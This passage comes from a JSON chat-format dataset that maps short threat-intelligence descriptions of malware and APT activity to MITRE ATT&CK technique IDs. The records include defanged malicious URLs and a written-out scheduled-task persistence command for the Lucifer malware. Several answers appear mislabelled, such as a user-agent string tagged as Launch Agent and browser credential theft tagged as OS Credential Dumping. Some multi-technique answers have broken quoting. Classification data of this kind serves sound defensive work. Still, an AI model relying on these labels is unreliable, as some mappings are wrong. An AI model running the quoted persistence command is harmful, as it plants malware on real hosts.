                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "http://www.cankayasrc[.]com/style/js/main.php http://ektamservis[.]com/includes/main.php http://gtme[.]ae/font-awesome/css/main.php  Recommendations for organizations Effective protection from targeted attacks focuses on advanced detective, preventive and investigative capabilities via solutions and training, allowing an organization to control any activities on their network or suspicious files on user systems"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use `LoadLibrary` to attempt to execute GdiPlus.dll."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has collected emails from victim Microsoft Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom User Agent string or the system's User Agent string derived from urlmon.dll   7"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy adds itself to the startup folder or adds itself to the Registry key \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the VBScript in XSL has been run, console commands launched by the JS code continue to be executed. Three files are copied into the folder OFFICE12 that was created in the user profile. Those files are"
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has utilized techniques like reflective DLL loading to write a DLL into memory and load a shell that provides backdoor access to the victim."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT has encoded data into a binary blob using XOR."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout can call \"window.location.pathname\" to ensure that embedded files are being executed from the C: drive, and will terminate if they are not."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has encapsulated Cobalt Strike's C2 protocol in DNS and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a keylogger and steals clipboard contents from victims."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can use TLS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IceApple Result Retriever module can AES encrypt C2 responses."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Affiliates have been seen brute forcing exposed RDP services and compromising accounts with weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can run a copy of cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore uses the \"curl -s -L -o\" command to exfiltrate archived data to a URL."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"nbtstat -n\" and \"nbtstat -s\" commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has downloaded additional malware and tools onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NDiskMonitor uses AES to encrypt certain information sent over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can establish persistence on a targeted host with scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of downloading files from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The legitimate owaauth.dll file resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\ while CTU researchers have observed the backdoor using the same filename in the %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\ directory"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can use a public UAC bypass method to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to capture keystrokes on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use Rundll32.exe to enable C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal has used macros in Word documents that would download a second stage if executed."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SilverTerrier uses SMTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol has a command to traverse the files and directories in a given path."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can spread itself by infecting other remote machines via network shared drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can obtain a list of the services from a system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This has led it to do more, such as:  Communication with more C&C servers – up to 16 P2P communication between infected nodes MAC address check - PlugX runs if the MAC address of an infected host coincides with configuration information in itself (If not specified in the configuration, PlugX runs on any host)"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN collects keystrokes from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2016, CTU researchers observed the group using native system functionality to disable logging processes and delete logs within a compromised environment"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screenshot also shows the Glimpse server receiving the results of the whoami command executed by the agent"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can download additional encrypted backdoors onto the victim via GIF files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list directories on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use Native API for defense evasion, discovery, and collection."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a module to steal credentials from Web browsers on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme has the ability to list drives and obtain the computer name of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba logs keystrokes via polling by using \"GetKeyState\" and \"VkKeyScan\" functions."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has created a fake \"rm\" binary to replace the legitimate Linux binary."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet calls LoadLibrary then executes exports from a DLL."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "writes multiple outputs to a TMP file using the >> method."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used msiexec to install the Machete malware."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can use a SOAP Web service to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strider has used a hidden file system that is stored as a file on disk."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can use Twitter, Reddit, Imgur and other websites to get a C2 URL."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "implements a command and control protocol over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker will copy itself with a random name into the system directory %systemroot%\\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Therefore, there is no centralized point of download. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine\" (Racicot"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TRITON disguised itself as the legitimate Triconex Trilog application."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom binary protocol for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: Textbox inside DOC The combined script from Word textbox drops the following components: \\Users\\[user_name]\\Intel\\58d2a83f7778d5.36783181.vbs \\Users\\[user_name]\\Intel\\58d2a83f777942.26535794.ps1 \\Users\\[user_name]\\Intel\\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1036 - Masquerading', 'T1087 - Account Discovery', 'T1064 - Scripting', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Dust Storm, the threat actors disguised some executables as JPG files."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\\Software\\Microsoft\\Office\\."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has exfiltrated stolen data to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P8RAT can check for specific processes associated with virtual environments."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer has established persistence by creating the following scheduled task \"schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\\%USERPROFILE%\\Downloads\\spread.exe /F\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca used a VBA script to execute WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use a file exfiltration tool to collect recently changed files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
